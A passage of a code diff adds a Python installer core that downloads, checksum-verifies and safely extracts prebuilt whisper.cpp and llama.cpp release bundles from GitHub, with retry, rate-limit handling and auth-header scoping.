+def _cuda_runtime_lines_for_major(major: int) -> list[str]:
+    """Runtime lines a driver of this CUDA major can use (its own major and any
+    older one, newest first down to the minimum we ship)."""
+    return [f"cuda{m}" for m in range(major, _MIN_CUDA_MAJOR - 1, -1)]
+
+
+# ── The ops seam ──
+_MISSING = object()
+
+# Core functions expecting an ``ops`` first argument. ModuleOps binds itself when
+# a lookup falls back to the core default, so a descriptor-only component gets
+# working defaults while an installer wrapper (or a test monkeypatch) always wins.
+_OPS_FIRST_NAMES = {
+    "auth_headers",
+    "github_api_headers",
+    "download_bytes",
+    "fetch_json",
+    "download_file",
+    "download_file_verified",
+    "download_file_verified_strict",
+    "github_release",
+    "github_release_assets",
+    "download_host_latest_release_tag",
+    "fetch_download_host_json",
+    "linux_runtime_dirs_for_required_libraries",
+    "detected_linux_runtime_lines",
+    "detected_windows_runtime_lines",
+    "parse_manifest",
+    "parse_release_checksums",
+    "fetch_release_checksums",
+    "expected_sha256_for",
+    "macos_min_os_ok",
+    "artifacts_for_host",
+    "select_artifact",
+    "select_artifact_with_fallback",
+    "auto_detect_backend",
+    "resolve_backend",
+    "fetch_release_bundle",
+    "asset_download_url",
+    "resolve_newest_release_tag",
+    "resolve_release_tag",
+    "resolve_release_via_download_host",
+    "fetch_release_for_install",
+    "write_prebuilt_metadata",
+    "load_prebuilt_metadata",
+    "existing_install_matches",
+    "metadata_path",
+    "selection_from_artifact",
+    "plan_selection",
+    "install_from_bundle",
+    "install_prebuilt",
+    "resolve_prebuilt",
+    "installed_server_path",
+    "assemble_install_tree",
+    "validate_staged_server",
+    "locate_server_in_tree",
+    # Underscored aliases the installer modules expose for their tests.
+    "_download_host_latest_release_tag",
+    "_download_host_json",
+    "_resolve_release_via_download_host",
+    "_install_from_bundle",
+}
+
+
+class ModuleOps:
+    """Late-binding name resolver over an installer module's globals.
+
+    Lookup hits the wrapped globals first (so a ``monkeypatch.setattr`` is always
+    observed), then this module's defaults (ops-first defaults come back bound).
+    """
+
+    def __init__(self, module_globals: dict[str, Any]) -> None:
+        self._globals = module_globals
+
+    def __getattr__(self, name: str) -> Any:
+        value = self._globals.get(name, _MISSING)
+        if value is _MISSING:
+            value = globals().get(name, _MISSING)
+            if value is _MISSING:
+                raise AttributeError(f"prebuilt component namespace has no attribute {name!r}")
+            if name in _OPS_FIRST_NAMES:
+                return functools.partial(value, self)
+        return value
+
+
+@dataclass(frozen = True)
+class ComponentDescriptor:
+    """Everything the generic flow needs about one ggml-family component.
+
+    Hooks mirror the module-level names an installer defines; a descriptor-only
+    component supplies them here and ``component_ops`` builds a namespace with
+    core defaults behind them.
+    """
+
+    component: str  # manifest "component" value, e.g. "whisper.cpp"
+    log_prefix: str  # stderr prefix, e.g. "whisper-prebuilt"
+    published_repo: str  # fork publishing the prebuilt releases
+    manifest_asset_name: str
+    sha256_asset_name: str
+    metadata_filename: str  # marker written into the install dir
+    user_agent: str
+    supported_backends: tuple[str, ...] = ("cpu", "cuda", "metal", "vulkan", "rocm")
+    schema_version: int = SCHEMA_VERSION
+    # Backend to retry when the preferred one has no covering asset: "cpu"
+    # (whisper) ships a CPU bundle in every release; None (llama) reports "no
+    # prebuilt" so the caller falls back to a source build.
+    fallback_backend: str | None = "cpu"
+    staging_root_name: str = INSTALL_STAGING_ROOT_NAME
+    run_staged_validation: bool = False
+    # Hooks. Each mirrors the module-level function it replaces; None keeps the
+    # core default (which raises if truly required).
+    detect_host: Callable[[], Any] | None = None
+    host_platform_tokens: Callable[[Any], tuple[str, str]] | None = None
+    server_binary_name: Callable[[Any], str] | None = None
+    runtime_bin_dir: Callable[[Path, Any], Path] | None = None
+    auto_detect_backend: Callable[[Any], str] | None = None
+
+
+def component_namespace(descriptor: ComponentDescriptor) -> dict[str, Any]:
+    """Materialize a descriptor into the module-like namespace ``ModuleOps``
+    resolves against; core defaults cover anything not listed here."""
+    prefix = descriptor.log_prefix
+
+    def component_log(message: str) -> None:
+        print(f"[{prefix}] {message}", file = sys.stderr)
+
+    namespace: dict[str, Any] = {
+        "COMPONENT": descriptor.component,
+        "SCHEMA_VERSION": descriptor.schema_version,
+        "DEFAULT_PUBLISHED_REPO": descriptor.published_repo,
+        "MANIFEST_ASSET_NAME": descriptor.manifest_asset_name,
+        "SHA256_ASSET_NAME": descriptor.sha256_asset_name,
+        "METADATA_FILENAME": descriptor.metadata_filename,
+        "SUPPORTED_BACKENDS": descriptor.supported_backends,
+        "USER_AGENT": descriptor.user_agent,
+        "FALLBACK_BACKEND": descriptor.fallback_backend,
+        "INSTALL_STAGING_ROOT_NAME": descriptor.staging_root_name,
+        "_RUN_STAGED_PREBUILT_VALIDATION": descriptor.run_staged_validation,
+        "log": component_log,
+    }
+    for hook in (
+        "detect_host",
+        "host_platform_tokens",
+        "server_binary_name",
+        "runtime_bin_dir",
+        "auto_detect_backend",
+    ):
+        value = getattr(descriptor, hook)
+        if value is not None:
+            namespace[hook] = value
+    return namespace
+
+
+def component_ops(descriptor: ComponentDescriptor) -> ModuleOps:
+    return ModuleOps(component_namespace(descriptor))
+
+
+# ── Lock/busy classification ──
+def _os_error_messages(exc: BaseException) -> list[str]:
+    messages: list[str] = []
+    if isinstance(exc, OSError):
+        for value in (
+            getattr(exc, "strerror", None),
+            getattr(exc, "filename", None),
+            getattr(exc, "filename2", None),
+        ):
+            if isinstance(value, str) and value:
+                messages.append(value)
+    text = str(exc)
+    if text:
+        messages.append(text)
+    return [message.lower() for message in messages if message]
+
+
+def is_busy_lock_error(exc: BaseException) -> bool:
+    if isinstance(exc, BusyInstallConflict):
+        return True
+    if isinstance(exc, OSError):
+        if exc.errno in {
+            errno.EACCES,
+            errno.EBUSY,
+            errno.EPERM,
+            errno.ETXTBSY,
+        }:
+            return True
+        if getattr(exc, "winerror", None) in {5, 32, 145}:
+            return True
+    for message in _os_error_messages(exc):
+        if any(
+            needle in message
+            for needle in (
+                "access is denied",
+                "being used by another process",
+                "device or resource busy",
+                "permission denied",
+                "text file busy",
+                "file is in use",
+                "process cannot access the file",
+                "cannot create a file when that file already exists",
+            )
+        ):
+            return True
+    return False
+
+
+# ── HTTP: auth, redirects, retries ──
+def parsed_hostname(url: str | None) -> str | None:
+    if not url:
+        return None
+    try:
+        hostname = urllib.parse.urlparse(url).hostname
+    except Exception:
+        return None
+    if not hostname:
+        return None
+    return hostname.lower()
+
+
+def should_send_github_auth(url: str | None) -> bool:
+    return parsed_hostname(url) in GITHUB_AUTH_HOSTS
+
+
+def should_send_hf_auth(url: str | None) -> bool:
+    return parsed_hostname(url) in HF_AUTH_HOSTS
+
+
+def auth_headers(ops: ModuleOps, url: str | None = None) -> dict[str, str]:
+    headers = {
+        "User-Agent": ops.USER_AGENT,
+    }
+    token = os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN")
+    if token and should_send_github_auth(url):
+        headers["Authorization"] = f"Bearer {token}"
+        return headers
+    # Anonymous huggingface.co fetches share a per-IP rate limit CI fleets
+    # exhaust (HTTP 429); authenticate when a token is available.
+    hf_token = os.environ.get("HF_TOKEN") or os.environ.get("HUGGING_FACE_HUB_TOKEN")
+    if hf_token and should_send_hf_auth(url):
+        headers["Authorization"] = f"Bearer {hf_token}"
+    return headers
+
+
+class _CrossHostAuthStrippingRedirectHandler(urllib.request.HTTPRedirectHandler):
+    """Drop Authorization when a redirect leaves the original host.
+
+    huggingface.co redirects downloads to CDN hosts whose signed URLs can reject
+    a foreign Authorization header; urllib forwards headers across redirects by
+    default (requests/huggingface_hub strip them).
+    """
+
+    def redirect_request(self, req, fp, code, msg, headers, newurl):
+        new_request = super().redirect_request(req, fp, code, msg, headers, newurl)
+        if new_request is not None and parsed_hostname(newurl) != parsed_hostname(req.full_url):
+            new_request.headers.pop("Authorization", None)
+            new_request.unredirected_hdrs.pop("Authorization", None)
+        return new_request
+
+
+_URL_OPENER = urllib.request.build_opener(_CrossHostAuthStrippingRedirectHandler())
+
+
+def github_api_headers(ops: ModuleOps, url: str | None = None) -> dict[str, str]:
+    return {
+        "Accept": "application/vnd.github+json",
+        **ops.auth_headers(url),
+    }
+
+
+def is_github_api_url(url: str | None) -> bool:
+    return parsed_hostname(url) == "api.github.com"
+
+
+def is_retryable_url_error(exc: Exception) -> bool:
+    if isinstance(exc, urllib.error.HTTPError):
+        # GitHub returns 403 (not 429) on API rate-limit; anonymous calls share a
+        # 60-req/hour bucket per runner IP that CI fleets exhaust. Treat 403
+        # against api.github.com as retryable so we get a backoff cycle or two
+        # (honouring Retry-After / X-RateLimit-Reset) before the source-build
+        # fallback fires. 403s on other hosts (private downloads, auth) stay non-retryable.
+        if exc.code == 403:
+            return is_github_api_url(getattr(exc, "url", None))
+        return exc.code in RETRYABLE_HTTP_STATUS
+    if isinstance(exc, urllib.error.URLError):
+        return True
+    if isinstance(exc, TimeoutError):
+        return True
+    if isinstance(exc, socket.timeout):
+        return True
+    return False
+
+
+def _http_error_retry_delay(exc: Exception) -> float | None:
+    """Recommended wait from rate-limit headers on a 403/429.
+
+    None when no header is present or the wait exceeds
+    _RATE_LIMIT_WAIT_CAP_SECONDS (the source-build fallback is faster).
+    """
+    if not isinstance(exc, urllib.error.HTTPError):
+        return None
+    headers = getattr(exc, "headers", None)
+    if headers is None:
+        return None
+    retry_after = headers.get("Retry-After")
+    if retry_after and retry_after.strip().isdigit():
+        wait = float(retry_after.strip())
+        return wait if wait <= _RATE_LIMIT_WAIT_CAP_SECONDS else None
+    rate_reset = headers.get("X-RateLimit-Reset")
+    if rate_reset and rate_reset.strip().isdigit():
+        wait = float(rate_reset.strip()) - time.time()
+        if 0.0 < wait <= _RATE_LIMIT_WAIT_CAP_SECONDS:
+            return wait + 1.0  # +1s of slack so the bucket is fresh
+    return None
+
+
+def sleep_backoff(
+    attempt: int,
+    *,
+    base_delay: float = HTTP_FETCH_BASE_DELAY_SECONDS,
+    exc: Exception | None = None,
+) -> None:
+    delay = base_delay * (2 ** max(attempt - 1, 0))
+    header_delay = _http_error_retry_delay(exc) if exc is not None else None
+    if header_delay is not None:
+        delay = max(delay, header_delay)
+    delay += random.uniform(0.0, 0.2)
+    time.sleep(delay)
+
+
+# ── Atomic writes and hashing ──
+def atomic_write_bytes(destination: Path, data: bytes) -> None:
+    destination.parent.mkdir(parents = True, exist_ok = True)
+    with tempfile.NamedTemporaryFile(
+        prefix = destination.name + ".tmp-",
+        dir = destination.parent,
+        delete = False,
+    ) as handle:
+        tmp_path = Path(handle.name)
+        handle.write(data)
+        handle.flush()
+        os.fsync(handle.fileno())
+    os.replace(tmp_path, destination)
+
+
+def atomic_replace_from_tempfile(tmp_path: Path, destination: Path) -> None:
+    destination.parent.mkdir(parents = True, exist_ok = True)
+    os.replace(tmp_path, destination)
+
+
+def sha256_file(path: Path) -> str:
+    digest = hashlib.sha256()
+    with path.open("rb") as handle:
+        for chunk in iter(lambda: handle.read(1024 * 1024), b""):
+            digest.update(chunk)
+    return digest.hexdigest()
+
+
+def sha256_bytes(data: bytes) -> str:
+    return hashlib.sha256(data).hexdigest()
+
+
+def normalize_sha256_digest(value: str | None) -> str | None:
+    if not isinstance(value, str) or not value:
+        return None
+    lowered = value.lower()
+    if lowered.startswith("sha256:"):
+        lowered = lowered.split(":", 1)[1]
+    if len(lowered) != 64 or any(ch not in "0123456789abcdef" for ch in lowered):
+        return None
+    return lowered
+
+
+def validate_schema_version(
+    payload: dict[str, Any],
+    *,
+    label: str,
+    schema_version: int = SCHEMA_VERSION,
+    error: type[Exception] = RuntimeError,
+) -> None:
+    value = payload.get("schema_version")
+    if value is None:
+        return
+    try:
+        normalized = int(value)
+    except (TypeError, ValueError) as exc:
+        raise error(f"{label} schema_version was not an integer") from exc
+    if normalized != schema_version:
+        raise error(f"{label} schema_version={normalized} is unsupported")
+
+
+# ── Download progress ──
+def format_byte_count(num_bytes: float) -> str:
+    units = ["B", "KiB", "MiB", "GiB", "TiB"]
+    value = float(num_bytes)
+    for unit in units:
+        if abs(value) < 1024.0 or unit == units[-1]:
+            if unit == "B":
+                return f"{int(value)} {unit}"
+            return f"{value:.1f} {unit}"
+        value /= 1024.0
+    return f"{num_bytes:.1f} B"
+
+
+def _progress_percent_step() -> int:
+    """Non-tty milestone granularity. The in-app updater sets
+    UNSLOTH_PROGRESS_PERCENT_STEP=5 for finer progress lines."""
+    try:
+        step = int(os.environ.get("UNSLOTH_PROGRESS_PERCENT_STEP", "25"))
+    except ValueError:
+        return 25
+    return min(max(step, 1), 50)
+
+
+class DownloadProgress:
+    def __init__(self, label: str, total_bytes: int | None) -> None:
+        self.label = label
+        self.total_bytes = total_bytes if total_bytes and total_bytes > 0 else None
+        self.start_time = time.monotonic()
+        self.last_emit = 0.0
+        term_ok = os.environ.get("TERM", "").lower() != "dumb"
+        self.stream = (
+            sys.stderr if sys.stderr.isatty() else sys.stdout if sys.stdout.isatty() else sys.stderr
+        )
+        self.is_tty = term_ok and self.stream.isatty()
+        self.completed = False
+        self.milestone_step = _progress_percent_step()
+        self.last_milestone_percent = -1
+        self.last_milestone_bytes = 0
+        self.has_rendered_tty_progress = False
+
+    def _render(
+        self,
+        downloaded_bytes: int,
+        *,
+        final: bool = False,
+    ) -> str:
+        elapsed = max(time.monotonic() - self.start_time, 1e-6)
+        speed = downloaded_bytes / elapsed
+        speed_text = f"{format_byte_count(speed)}/s"
+        if self.total_bytes is not None:
+            percent = min(100.0, (downloaded_bytes / self.total_bytes) * 100.0)
+            return (
+                f"{self.label}: {percent:5.1f}% "
+                f"({format_byte_count(downloaded_bytes)}/{format_byte_count(self.total_bytes)}) "
+                f"at {speed_text}"
+            )
+        if final:
+            return f"{self.label}: {format_byte_count(downloaded_bytes)} downloaded at {speed_text}"
+        return f"{self.label}: {format_byte_count(downloaded_bytes)} downloaded at {speed_text}"
+
+    def update(self, downloaded_bytes: int) -> None:
+        now = time.monotonic()
+        if self.is_tty:
+            elapsed = now - self.start_time
+            if not self.has_rendered_tty_progress:
+                if self.total_bytes is not None and downloaded_bytes >= self.total_bytes:
+                    return
+                if elapsed < TTY_PROGRESS_START_DELAY_SECONDS:
+                    return
+            min_interval = 0.2
+            if (
+                self.has_rendered_tty_progress
+                and not self.completed
+                and (now - self.last_emit) < min_interval
+            ):
+                return
+            self.last_emit = now
+            line = self._render(downloaded_bytes)
+            self.stream.write("\r\033[K" + line)
+            self.stream.flush()
+            self.has_rendered_tty_progress = True
+            return
+
+        should_emit = False
+        if self.total_bytes is not None:
+            percent = int((downloaded_bytes * 100) / max(self.total_bytes, 1))
+            step = self.milestone_step
+            milestone_percent = min((percent // step) * step, 100)
+            if milestone_percent > self.last_milestone_percent and milestone_percent < 100:
+                self.last_milestone_percent = milestone_percent
+                should_emit = True
+        else:
+            byte_step = 25 * 1024 * 1024
+            if (
+                downloaded_bytes - self.last_milestone_bytes >= byte_step
+                and (now - self.last_emit) >= 5.0
+            ):
+                self.last_milestone_bytes = downloaded_bytes
+                should_emit = True
+
+        if not should_emit:
+            return
+
+        self.last_emit = now
+        self.stream.write(self._render(downloaded_bytes) + "\n")
+        self.stream.flush()
+
+    def finish(self, downloaded_bytes: int) -> None:
+        self.completed = True
+        line = self._render(downloaded_bytes, final = True)
+        if self.is_tty:
+            if not self.has_rendered_tty_progress:
+                return
+            self.stream.write("\r\033[K")
+        else:
+            self.stream.write(line + "\n")
+        self.stream.flush()
+
+
+def download_label_from_url(url: str) -> str:
+    name = Path(urllib.parse.urlparse(url).path).name
+    return name or url
+
+
+# ── Downloads ──
+def download_bytes(
+    ops: ModuleOps,
+    url: str,
+    *,
+    timeout: int = 120,
+    attempts: int | None = None,
+    headers: dict[str, str] | None = None,
+    progress_label: str | None = None,
+) -> bytes:
+    if attempts is None:
+        attempts = ops.HTTP_FETCH_ATTEMPTS
+    last_exc: Exception | None = None
+    for attempt in range(1, attempts + 1):
+        try:
+            request = urllib.request.Request(url, headers = headers or ops.auth_headers(url))
+            with ops._URL_OPENER.open(request, timeout = timeout) as response:
+                total_bytes: int | None = None
+                content_length = response.headers.get("Content-Length")
+                if content_length and content_length.isdigit():
+                    total_bytes = int(content_length)
+                progress = DownloadProgress(progress_label, total_bytes) if progress_label else None
+                data = bytearray()
+                while True:
+                    chunk = response.read(1024 * 1024)
+                    if not chunk:
+                        break
+                    data.extend(chunk)
+                    if progress is not None:
+                        progress.update(len(data))
+                if progress is not None:
+                    progress.finish(len(data))
+                return bytes(data)
+        except Exception as exc:
+            last_exc = exc
+            if attempt >= attempts or not is_retryable_url_error(exc):
+                raise
+            ops.log(f"fetch failed ({attempt}/{attempts}) for {url}: {exc}; retrying")
+            sleep_backoff(attempt, exc = exc)
+    assert last_exc is not None
+    raise last_exc
+
+
+def fetch_json(ops: ModuleOps, url: str) -> Any:
+    attempts = ops.JSON_FETCH_ATTEMPTS if is_github_api_url(url) else 1
+    last_decode_exc: Exception | None = None
+    for attempt in range(1, attempts + 1):
+        try:
+            data = ops.download_bytes(
+                url,
+                timeout = 30,
+                headers = ops.github_api_headers(url)
+                if is_github_api_url(url)
+                else ops.auth_headers(url),
+            )
+        except urllib.error.HTTPError as exc:
+            if exc.code == 403 and is_github_api_url(url):
+                hint = ""
+                if not (os.environ.get("GH_TOKEN") or os.environ.get("GITHUB_TOKEN")):
+                    hint = "; set GH_TOKEN or GITHUB_TOKEN to avoid GitHub API rate limits"
+                raise RuntimeError(f"GitHub API returned 403 for {url}{hint}") from exc
+            raise
+        if not data:
+            last_decode_exc = RuntimeError(f"downloaded empty JSON payload from {url}")
+        else:
+            try:
+                payload = json.loads(data.decode("utf-8"))
+            except (UnicodeDecodeError, json.JSONDecodeError) as exc:
+                last_decode_exc = RuntimeError(f"downloaded invalid JSON from {url}: {exc}")
+            else:
+                if not isinstance(payload, dict) and not isinstance(payload, list):
+                    raise RuntimeError(
+                        f"downloaded unexpected JSON type from {url}: {type(payload).__name__}"
+                    )
+                return payload
+        if attempt >= attempts:
+            assert last_decode_exc is not None
+            raise last_decode_exc
+        ops.log(f"json fetch failed ({attempt}/{attempts}) for {url}; retrying")
+        sleep_backoff(attempt)
+    assert last_decode_exc is not None
+    raise last_decode_exc
+
+
+def download_file(ops: ModuleOps, url: str, destination: Path) -> None:
+    destination.parent.mkdir(parents = True, exist_ok = True)
+    attempts = ops.HTTP_FETCH_ATTEMPTS
+    last_exc: Exception | None = None
+    for attempt in range(1, attempts + 1):
+        tmp_path: Path | None = None
+        try:
+            request = urllib.request.Request(url, headers = ops.auth_headers(url))
+            with tempfile.NamedTemporaryFile(
+                prefix = destination.name + ".tmp-",
+                dir = destination.parent,
+                delete = False,
+            ) as handle:
+                tmp_path = Path(handle.name)
+                with ops._URL_OPENER.open(request, timeout = 120) as response:
+                    total_bytes: int | None = None
+                    content_length = response.headers.get("Content-Length")
+                    if content_length and content_length.isdigit():
+                        total_bytes = int(content_length)
+                    progress = DownloadProgress(f"Downloading {destination.name}", total_bytes)
+                    downloaded_bytes = 0
+                    while True:
+                        chunk = response.read(1024 * 1024)
+                        if not chunk:
+                            break
+                        handle.write(chunk)
+                        downloaded_bytes += len(chunk)
+                        progress.update(downloaded_bytes)
+                    progress.finish(downloaded_bytes)
+                handle.flush()
+                os.fsync(handle.fileno())
+            if not tmp_path.exists() or tmp_path.stat().st_size == 0:
+                raise RuntimeError(f"downloaded empty file from {url}")
+            atomic_replace_from_tempfile(tmp_path, destination)
+            return
+        except Exception as exc:
+            last_exc = exc
+            if tmp_path is not None:
+                try:
+                    tmp_path.unlink(missing_ok = True)
+                except Exception:
+                    pass
+            if attempt >= attempts or not is_retryable_url_error(exc):
+                raise
+            ops.log(f"download failed ({attempt}/{attempts}) for {url}: {exc}; retrying")
+            sleep_backoff(attempt, exc = exc)
+    assert last_exc is not None
+    raise last_exc
+
+
+def download_file_verified(
+    ops: ModuleOps, url: str, destination: Path, *, expected_sha256: str | None, label: str
+) -> None:
+    normalized_expected = normalize_sha256_digest(expected_sha256)
+    if not normalized_expected:
+        ops.download_file(url, destination)
+        ops.log(f"downloaded {label} without a published sha256; relying on install validation")
+        return
+
+    for attempt in range(1, 3):
+        ops.download_file(url, destination)
+        actual_sha256 = ops.sha256_file(destination)
+        if actual_sha256 == normalized_expected:
+            ops.log(f"verified {label} sha256={actual_sha256}")
+            return
+
+        ops.log(
+            f"{label} checksum mismatch on attempt {attempt}/2: "
+            f"expected={normalized_expected} actual={actual_sha256}"
+        )
+        destination.unlink(missing_ok = True)
+        if attempt == 2:
+            raise PrebuiltFallback(
+                f"{label} checksum mismatch after retry: expected={normalized_expected} actual={actual_sha256}"
+            )
+        ops.log(f"retrying {label} download after checksum mismatch")
+
+
+def download_file_verified_strict(
+    ops: ModuleOps, url: str, destination: Path, *, expected_sha256: str, label: str
+) -> None:
+    """Verified download with a required digest (the generic flow fails closed on
+    a missing checksum, so None never reaches here)."""
+    for attempt in range(1, 3):
+        ops.download_file(url, destination)
+        actual = ops.sha256_file(destination)
+        if actual == expected_sha256:
+            ops.log(f"verified {label} sha256={actual}")
+            return
+        ops.log(
+            f"{label} checksum mismatch {attempt}/2: expected={expected_sha256} actual={actual}"
+        )
+        destination.unlink(missing_ok = True)
+        if attempt == 2:
+            raise PrebuiltFallback(f"{label} checksum mismatch after retry")
+
+
+# ── GitHub release primitives ──
+def release_asset_map(release: dict[str, Any]) -> dict[str, str]:
+    assets = release.get("assets")
+    if not isinstance(assets, list):
+        return {}
+    return {
+        asset["name"]: asset.get("browser_download_url", "")
+        for asset in assets
+        if isinstance(asset, dict)
+        and isinstance(asset.get("name"), str)
+        and isinstance(asset.get("browser_download_url"), str)
+    }
+
+
+def github_release(
+    ops: ModuleOps,
+    repo: str,
+    tag: str,
+    *,
+    error: type[Exception] = RuntimeError,
+) -> dict[str, Any]:
+    payload = ops.fetch_json(
+        f"https://api.github.com/repos/{repo}/releases/tags/{urllib.parse.quote(tag, safe = '')}"
+    )
+    if not isinstance(payload, dict):
+        raise error(f"unexpected release payload for {repo}@{tag}")
+    return payload
+
+
+def github_release_assets(ops: ModuleOps, repo: str, tag: str) -> dict[str, str]:
+    payload = ops.fetch_json(
+        f"https://api.github.com/repos/{repo}/releases/tags/{urllib.parse.quote(tag, safe = '')}"
+    )
+    if not isinstance(payload, dict):
+        raise RuntimeError(f"unexpected release payload for {repo}@{tag}")
+    return release_asset_map(payload)
+
+
+def release_asset_download_url(repo: str, release_tag: str, asset_name: str) -> str:
+    """Tag-pinned asset URL on the release-assets CDN (github.com redirect, NOT
+    api.github.com, so no 60-req/hour unauthenticated limit)."""
+    return (
+        f"https://github.com/{urllib.parse.quote(repo, safe = '/')}/releases/download/"
+        f"{urllib.parse.quote(release_tag, safe = '')}/"
+        f"{urllib.parse.quote(asset_name, safe = '')}"
+    )
+
+
+def download_host_latest_release_tag(ops: ModuleOps, repo: str) -> str | None:
+    """Latest release tag from github.com/<repo>/releases/latest via its redirect
+    target (no api.github.com call). None on 404 so the caller falls back to the
+    API. /releases/latest resolves by created_at/make_latest, which can lag the
+    published_at newest the freshness check uses -- acceptable for install."""
+    url = f"https://github.com/{urllib.parse.quote(repo, safe = '/')}/releases/latest"
+    request = urllib.request.Request(
+        url,
+        method = "HEAD",
+        headers = {"User-Agent": ops.USER_AGENT},
+    )
+    try:
+        with ops._URL_OPENER.open(request, timeout = 30) as response:
+            final_url = response.geturl()
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return None
+        raise
+    marker = "/releases/tag/"
+    index = final_url.find(marker)
+    if index == -1:
+        return None
+    tag = urllib.parse.unquote(final_url[index + len(marker) :]).strip("/")
+    return tag or None
+
+
+def fetch_download_host_json(ops: ModuleOps, url: str) -> Any:
+    # Public CDN asset: plain unauthenticated GET, not the rate-limited API.
+    data = ops.download_bytes(
+        url,
+        timeout = 30,
+        headers = {"User-Agent": ops.USER_AGENT},
+    )
+    return json.loads(data.decode("utf-8"))
+
+
+# ── Archive extraction (traversal/symlink guarded) ──
+def extract_archive(archive_path: Path, destination: Path) -> None:
+    def safe_extract_path(base: Path, member_name: str) -> Path:
+        normalized = member_name.replace("\\", "/")
+        member_path = Path(normalized)
+        if member_path.is_absolute():
+            raise PrebuiltFallback(f"archive member used an absolute path: {member_name}")
+
+        target = (base / member_path).resolve()
+        base_resolved = base.resolve()
+        try:
+            target.relative_to(base_resolved)
+        except ValueError as exc:
+            raise PrebuiltFallback(f"archive member escaped destination: {member_name}") from exc
+        return target
+
+    def _try_repair_missing_slash(
+        member_name: str, link_name: str, archive_names: set[str]
+    ) -> str | None:
+        """Repair a mangled symlink from some upstream llama.cpp Mac releases
+        (e.g. b9165, b9169) whose linkname drops the separator AND the file
+        basename's leading char between the top-level dir and the rest:
+
+            llama-b9165/libggml-rpc.0.dylib -> llama-b9165ibggml-rpc.0.11.1.dylib
+
+        Detect the pattern (linkname starts with the top-level dir but no
+        following slash), then find the archive entry under that dir whose
+        basename ends with the mangled suffix; only accept a unique match.
+        Returns the corrected linkname relative to the member's parent dir --
+        callers join it with `target.parent`, so a full `top/file` path would
+        double the prefix into `top/top/file`."""
+        if "/" not in member_name or "/" in link_name:
+            return None
+        top, _, _ = member_name.partition("/")
+        if not link_name.startswith(top) or len(link_name) <= len(top):
+            return None
+        bad_suffix = link_name[len(top) :]
+        if not bad_suffix or bad_suffix.startswith("/"):
+            return None
+        prefix = f"{top}/"
+        candidates = [
+            name
+            for name in archive_names
+            if name.startswith(prefix)
+            and "/" not in name[len(prefix) :]
+            and name[len(prefix) :].endswith(bad_suffix)
+        ]
+        if len(candidates) != 1:
+            return None
+        # Strip the top-level dir so the caller's `target.parent / Path(...)`
+        # resolves inside the staging dir, not a duplicate `top/top/...` path.
+        return candidates[0][len(prefix) :]
+
+    def safe_link_target(
+        base: Path, member_name: str, link_name: str, target: Path, archive_names: set[str]
+    ) -> tuple[str, Path]:
+        normalized = link_name.replace("\\", "/")
+        repaired = _try_repair_missing_slash(member_name, normalized, archive_names)
+        if repaired is not None:
+            normalized = repaired
+        link_path = Path(normalized)
+        if link_path.is_absolute():
+            raise PrebuiltFallback(
+                f"archive link used an absolute target: {member_name} -> {link_name}"
+            )
+        if not normalized:
+            raise PrebuiltFallback(f"archive link used an empty target: {member_name}")
+
+        resolved = (target.parent / link_path).resolve()
+        base_resolved = base.resolve()
+        try:
+            resolved.relative_to(base_resolved)
+        except ValueError as exc:
+            raise PrebuiltFallback(
+                f"archive link escaped destination: {member_name} -> {link_name}"
+            ) from exc
+        return normalized, resolved
+
+    def extract_zip_safely(source: Path, base: Path) -> None:
+        with zipfile.ZipFile(source) as archive:
+            for member in archive.infolist():
+                target = safe_extract_path(base, member.filename)
+                mode = (member.external_attr >> 16) & 0o170000
+                if mode == 0o120000:
+                    raise PrebuiltFallback(
+                        f"zip archive contained a symlink entry: {member.filename}"
+                    )
+                if member.is_dir():
+                    target.mkdir(parents = True, exist_ok = True)
+                    continue
+                target.parent.mkdir(parents = True, exist_ok = True)
+                with archive.open(member, "r") as src, target.open("wb") as dst:
+                    shutil.copyfileobj(src, dst)
+
+    def extract_tar_safely(source: Path, base: Path) -> None:
+        pending_links: list[tuple[tarfile.TarInfo, Path]] = []
+        archive_names: set[str] = set()
+        with tarfile.open(source, "r:gz") as archive:
+            for member in archive.getmembers():
+                archive_names.add(member.name)
+                target = safe_extract_path(base, member.name)
+                if member.isdir():
+                    target.mkdir(parents = True, exist_ok = True)
+                    continue
+                if member.islnk() or member.issym():
+                    pending_links.append((member, target))
+                    continue
+                if not member.isfile():
+                    raise PrebuiltFallback(
+                        f"tar archive contained an unsupported entry: {member.name}"
+                    )
+                target.parent.mkdir(parents = True, exist_ok = True)
+                extracted = archive.extractfile(member)
+                if extracted is None:
+                    raise PrebuiltFallback(f"tar archive entry could not be read: {member.name}")
+                with extracted, target.open("wb") as dst:
+                    shutil.copyfileobj(extracted, dst)
+
+        unresolved = list(pending_links)
+        while unresolved:
+            next_round: list[tuple[tarfile.TarInfo, Path]] = []
+            progressed = False
+            for member, target in unresolved:
+                normalized_link, resolved_target = safe_link_target(
+                    base, member.name, member.linkname, target, archive_names
+                )
+                if not resolved_target.exists() and not resolved_target.is_symlink():
+                    next_round.append((member, target))
+                    continue
+                if resolved_target.is_dir():
+                    raise PrebuiltFallback(
+                        f"archive link targeted a directory: {member.name} -> {member.linkname}"
+                    )
+
+                target.parent.mkdir(parents = True, exist_ok = True)
+                if target.exists() or target.is_symlink():
+                    target.unlink()
+
+                if member.issym():
+                    target.symlink_to(normalized_link)
+                else:
+                    shutil.copy2(resolved_target, target)
+                progressed = True
+
+            if not progressed:
+                details = ", ".join(
+                    f"{member.name} -> {member.linkname}" for member, _ in next_round
+                )
+                raise PrebuiltFallback(f"tar archive contained unresolved link entries: {details}")
+            unresolved = next_round
+
+    destination.mkdir(parents = True, exist_ok = True)
+    if archive_path.name.endswith(".zip"):
+        extract_zip_safely(archive_path, destination)
+        return
+    if archive_path.name.endswith(".tar.gz"):
+        extract_tar_safely(archive_path, destination)
+        return
+    raise PrebuiltFallback(f"unsupported archive format: {archive_path.name}")
+
+
+def restore_tar_exec_bits(archive_path: Path, destination: Path) -> None:
+    """Re-apply tar exec bits after the guarded extraction writes plain files;
+    server binaries must stay executable on Unix."""
+    if os.name == "nt" or not archive_path.name.endswith(".tar.gz"):
+        return
+    with tarfile.open(archive_path, "r:gz") as archive:
+        for member in archive.getmembers():
+            if not (member.isfile() and member.mode & 0o111):
+                continue
+            # Paths were already traversal-validated by the extractor above.
+            target = destination / Path(member.name.replace("\\", "/"))
+            if target.is_file():
+                os.chmod(target, target.stat().st_mode | 0o111)
+
+
+# ── Install lock ──
+@contextmanager
+def install_lock(lock_path: Path) -> Iterator[None]:
+    lock_path.parent.mkdir(parents = True, exist_ok = True)
+
